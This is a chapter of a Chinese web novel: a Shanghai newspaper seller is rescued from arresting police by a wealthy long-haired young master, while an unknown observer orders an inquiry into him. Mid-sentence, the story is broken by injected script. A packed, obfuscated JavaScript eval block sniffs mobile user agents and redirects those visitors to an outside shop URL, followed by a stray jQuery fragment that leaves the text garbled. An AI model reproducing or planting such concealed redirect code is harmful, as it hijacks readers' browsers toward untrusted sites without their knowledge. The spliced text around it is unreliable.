胡不才后来回想起来，那天早上天空灰得像一块洗旧了的抹布，云层压得极低，整个上海滩都闷在一种黏稠的、随时要坠下来的气压里。他照常在梧桐树下站了半个时辰，卖了四份报。买报的是个戴礼帽的年轻人，递铜板的时候手指在他掌心里多按了一下，眼神像秤钩一样从他脸上刮过去。
他没在意。他这几天总有些恍惚，脑子里反复回放老周扑过来的那个瞬间，血的热度，柏油路上的褐色印子，还有他呕吐在和平饭店台阶上的狼狈。夜里睡不着的时候，他把那张写着诗和句子的小纸条从怀里掏出来看，看完又折好塞回去，纸边已经被汗渍磨软了。
第二个买报的人来时，胡不才注意到不对劲了。那人穿一身藏青短打，站在马路对面，不靠近也不走远，两只眼睛直勾勾地钉在他身上。等他看过去，那人就把目光移开，假装在望电车。但没过一会儿又转回来。
胡不才后颈一凉。他把剩下的报纸收拢，打算往人多的方向挪一挪。才迈出两步，身后传来脚步声，一左一右，堵住了他的退路。
“姓胡的？”
左边那人虎背熊腰，右手插在口袋里，鼓出一截硬邦邦的轮廓。右边那个瘦些，但眼神更锋利，像一把没开鞘的刀。
胡不才攥紧了报纸，嗓子里干得像塞了团棉花。“是我。”
“跟我们走一趟。”瘦的那个说，声音不高，但每个字都咬得很清楚，“法租界巡捕房，有人想问问你前天下午的事。”
前天下午。老周死的时候。
胡不才的膝盖软了一下。他想起那天黑衣服的人翻过老周的身体，从老周手里掰走了什么东西。那东西是什么他没看清，但他知道那天他站在离老周不到三尺的地方，他看见了那些人的脸，看见了几辆车，看见了车牌大概的颜色——虽然他后来拼命想忘掉，可那些细节像烧红的铁钉，一颗一颗钉在脑子里。
“我跟那位拉车的师傅不认识，”他听见自己的声音，干巴巴的，像在念别人写的台词，“就是常买我的报，面熟而已。”
虎背熊腰那个“嗤”了一声。“面熟？面熟他临死之前往你这边冲？面熟他搁你这儿存东西？”
存东西？胡不才一愣。老周没在他这儿存过任何东西。除了那天早上的葱油饼。
可他说不清了。他张了张嘴，喉咙里挤出来的只有气音。
瘦的那个上前一步，伸手就要扣他的手腕。胡不才往后缩，背撞上梧桐树干，粗糙的树皮隔着薄薄的长衫磨着肩胛骨。他的手在发抖，腋下的报纸散了一地，被风卷起来，打着旋往马路中间飘。
“我没拿过任何东西，”他说，声音终于大了一些，但尾音还是抖的，“我什么都不知道——”
“知道不知道，回去说清楚就知道了。”虎背熊腰的手已经从口袋里抽出来了，指间夹着一副铁铐，在晨光里泛着冷白的光。
胡不才闭上眼睛。他想起老周趴在地上的样子，想起那个暗红色的手印，想起师娘以后的葱油饼再也没人吃了。他忽然觉得，跟老周比起来，巡捕房也不算太可怕。至少他还有机会把话说清楚。
虽然说不清。
“等等。”
声音从街对面传过来，不大，甚至称不上响亮，却像一瓢凉水浇在烧红的铁上，滋啦一声，把那两个巡捕的动作生生钉住了。胡不才睁开眼。
街对面的咖啡馆门口停了一辆黑色福特。车门开着，一只苍白的手搭在门框上，手指细长，指甲剪得很短，干干净净。然后一个人从车里下来。
胡不才这辈子没见过那样的男人。
长发。是真的长发，乌黑柔顺地垂到腰际，只用一根墨绿色的绸带松松地束在脑后。风从巷口灌进来，把几缕发丝吹到他脸上，他抬手拢了一下，那动作轻得像在拂一朵棉花。他穿一件月白底暗竹纹的锦缎长衫，领口扣得严严整整，腰带收得极细——胡不才后知后觉地意识到，那腰细得有些过分了，仿佛两只手合拢就能圈住。脸上没什么血色，却并不显病态，倒像一块上好的羊脂玉，只在颧骨处浮着一层薄薄的、由内而外的红润。眉目是极温润的，眼尾微微上挑，却不带半分凌厉，唇色浅淡，嘴角天生就有一点向上的弧度，像随时要笑，又像一直没笑出来。
两个巡捕的脸色变了。虎背熊腰那个把手铐飞速收了回去，背在身后，赔了个笑脸出来。瘦的那个虽然没笑，但眼神里的刀收起来了，垂着眼，不敢和那个人对视。
“于……于少爷。”虎背熊腰的嗓子都扁了，“您怎么今儿出来了？”
长发的人没有看他们。他站在福特车旁边，目光越过两个巡捕的头顶，落在胡不才身上。那目光是软的，像秋天的日光铺在被子上，暖烘烘的，让人想躺下去。胡不才的鼻子忽然一酸。他已经好几天没被人这样看过了。
“这个人，”长发的人开口了，声音也软，像含着一口温水说话，“我府上要用的。你们巡捕房有什么事，跟管账的说一声，派人来于宅问就行。”
两个巡捕面面相觑。虎背熊腰的那个还要说什么，瘦的那个已经拽了他一把，冲长发的人拱了拱手。
“于少爷说笑了。既然府上要用的人，那必然是清白的。我们再去别处查查，再去别处查查。”
两个人退得很快，像潮水一样，几秒钟就消失在了巷子口。胡不才还靠着梧桐树站着，腿软得挪不动，报纸散了一地，被风吹到马路牙子下面去了。他看着那个长发的人，看着他慢慢走过来，停在离自己三步远的地方。
风把他身上的味道吹过来。胡不才闻到了——不是脂粉的香，也不是花露水的腻，是一种干净的、暖烘烘的气息，像晾了一整天的棉布被褥收进柜子时残留的太阳味，又像冬天炉子边上烤过的那层薄薄的蜜橘皮。香得让人想靠近，又让人不敢靠太近。
“吓着了？”他问。
胡不才点点头，又摇摇头。他说不出话。
长发的人弯下腰，把地上散落的报纸一张一张捡起来，抖了抖灰，叠整齐了，递回胡不才手里。他的手指碰到胡不才的指尖，温的。胡不才打了个哆嗦。
“我叫于情慕。”他说，“于公馆的于。你写的诗，我见过。”
胡不才猛地抬头。
于情慕嘴角那个天生的弧度往上翘了一点，是真的笑了。那笑容像石子投进深潭，轻轻的，却漾开了满池的光。“‘浮生若梦，为欢几何’，下面还添了一句，对么？‘为欢几何，便碎几何’。”
胡不才的脸涨红了。那张纸条他贴身藏着，从不示人，怎么会落到于公馆的人手里？
“别慌。”于情慕似乎看穿了他的心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899454|212914||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
思，“前些日子府上打扫旧书，翻出一本夹着废纸的册子。那纸上有字，我瞧了，是近人的笔迹。问了一圈，说是卖报的小胡子写的。有人从你那儿买了报，顺手垫了册子，就夹带进来了。”
胡不才想起上周确实有人用他的报纸包东西，那人走的时候还说了一句“字不错”。他当时没在意。
“我想着，”于情慕微微偏了偏头，一缕长发从肩头滑到胸前，他用手指勾回去，动作自然而然的，“你既然有这份文墨，何必在马路上风吹日晒的。不如到我府上来，帮着抄抄文书、拟拟信稿，每月按账房的例钱支。你可愿意？”
胡不才张着嘴，好半天合不上。
从昨天到今天，他以为自己要被巡捕房带走，关进暗无天日的小黑屋里，像老周一样莫名其妙地消失在这个世界上。结果呢？结果有个长发的美人站在他面前，对他说，你写得不错，来我府上做事吧。
他喉咙里滚了滚，眼眶烫得厉害，但他忍住了。
“愿意。”他说，声音哑哑的，“于少爷，我愿意。”
于情慕又笑了一下，这回弧度大了一点，眉眼弯弯的，像月牙。他转过身往福特车走，走了两步，又回头看了胡不才一眼。
“上来吧。顺路带你认认门。”
胡不才把报纸夹好，踩着一地的梧桐叶跟上去。车里干净得过分，皮座垫上铺着一层薄薄的丝绒毯子，空气里是于情慕身上那种暖烘烘的香。他拘谨地坐在边上，膝盖并拢，手放在膝上，生怕把车弄脏了。
于情慕坐在他旁边，隔着一拳的距离。车窗外的风景往后退，霞飞路的梧桐、咖啡馆的黑板、和平饭店的尖顶，一样一样地滑过去。胡不才忽然觉得，昨天和今天之间隔了一辈子。
“于少爷，”他鼓起勇气开口，“我……我什么都不会，怕给您添麻烦。”
于情慕转过头来。距离太近了，胡不才甚至能看清他眼睫毛的弧度，又长又密，像两把小扇子。他闻到了那香味更清晰的一层，混着一丝极淡的、类似雨后青草的清苦。
“会写字就行。”于情慕说，“别的，慢慢学。”
车子拐进一条安静的弄堂，梧桐叶更密了，在头顶搭成一道绿沉沉的天棚。于公馆的红砖门楼露出来，墙上爬满了半枯的藤蔓，铁门虚掩着，门缝里漏出几丛海棠的枝叶。
胡不才跟着于情慕下了车，踩在公馆门前的青石板上。风从庭院深处吹过来，带着花香和土腥气。他深吸一口气，肺里满当当的，第一次觉得，上海滩的空气原来也可以这么好闻。
他不知道的是，在他身后半条街的拐角处，有一辆黑色轿车停了很久了。车窗摇下一条缝，一双年轻的眼睛从缝里望出来，盯着于情慕的背影，盯着他旁边那个穿灰布长衫的卖报童。
那双眼睛冷得像淬过火。
车里的人把车窗摇上去，对前排的司机说了一句话。
“查。那个卖报的，祖宗三代都给我翻出来。”
司机应了一声，轿车无声地驶离了弄堂口。
而于情慕正推开公馆的侧门，回头冲胡不才招了招手。他站在门廊底下，长发被穿堂风吹起来，月白的长衫映着斑驳的红砖墙，像一幅还没来得及落款的画。
“进来吧。”他说，“以后这儿就是你的地方了。”